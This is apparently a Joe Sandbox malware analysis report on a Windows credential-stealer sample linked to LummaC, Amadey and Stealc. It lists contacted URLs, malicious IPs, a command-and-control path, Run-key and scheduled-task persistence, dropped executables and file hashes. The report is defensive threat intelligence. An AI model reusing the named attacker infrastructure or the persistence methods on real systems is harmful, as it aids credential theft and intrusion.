https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2201875010.000000000541C000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/complete/search	firefox.exe, 0000001D.00000003.3168816107.0000012DD1BE7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220806281.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220039343.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219610769.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235038822.0000000000B44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220582846.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221060387.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 9f543353fa.exe, 0000000B.00000003.2937357144.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914322707.00000000051B9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2913340103.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2913758160.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3026656375.0000000005296000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3087572028.0000000000716000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3179049095.0000000000705000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3099418358.0000000000721000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3089109792.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3026524027.0000000005290000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3179823409.000000000070D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2201875010.000000000541C000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001D.00000003.3171564466.0000012DD1EB4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.comP	firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.com/recommendations	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://youtube.com	firefox.exe, 0000001D.00000002.3245303742.0000012DCA31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3233123382.0000012DC9543000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google.com	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://www.amazon.de/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.avito.ru/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000001D.00000002.3222303134.0000012DBDF11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiz	9f543353fa.exe, 0000000D.00000003.3026696588.0000000000714000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ctrip.com/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com	firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://getpocket.com/a4	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://truecolors.firefox.com	firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.46	youtube.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546520
Start date and time:	2024-11-01 03:44:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/30@62/11
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, prod.remote-settings.prod.webservices.mozgcp.net, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, firefox.settings.services.mozilla.com, push.services.mozilla.com, shavar.services.mozilla.com, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target 1X626IF7XY5V3PR2WUE6.exe, PID 5268 because it is empty
Execution Graph export aborted for target 9f543353fa.exe, PID 5884 because there are no executed function
Execution Graph export aborted for target file.exe, PID 2976 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4876 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:45:29	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:46:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9f543353fa.exe C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe
03:46:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9f543353fa.exe C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe
03:46:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 26972fc2ff.exe C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe
03:46:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c56bb4c016.exe C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe
03:46:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003076001\num.exe
03:47:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 26972fc2ff.exe C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe
03:47:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c56bb4c016.exe C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe
03:47:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003076001\num.exe
22:45:05	API Interceptor	12x Sleep call for process: file.exe modified
22:46:01	API Interceptor	75333x Sleep call for process: skotes.exe modified
22:46:17	API Interceptor	43x Sleep call for process: 9f543353fa.exe modified
22:46:45	API Interceptor	5x Sleep call for process: 26972fc2ff.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
dyna.wikimedia.org	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pdfhost.io/v/maTYQa.jg_mqfilserawxgxdgxhhgsx_1	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	Quotation Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.97.3
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\76O2EO62U6RFDJ26N.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HGRF5Z7TYW7E33AW.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QQVU8579GXGT7ENXLIPV.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467439241036
Encrypted:	false
SSDEEP:	12288:YqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TV:YqDEvCTbMWu7rQYlBQcBiT6rprG8abV
